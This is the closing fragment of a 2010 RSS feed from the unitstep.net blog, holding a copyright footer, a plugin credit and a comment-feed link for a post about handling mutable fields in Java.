<hr/>Copyright &copy; 2010 <strong><a href="http://unitstep.net">unitstep.net</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact <strong><a href="mailto:webmaster@unitstep.net">webmaster@unitstep.net</a></strong> for more information.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://unitstep.net/blog/2008/12/14/handling-mutable-fields-in-java/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
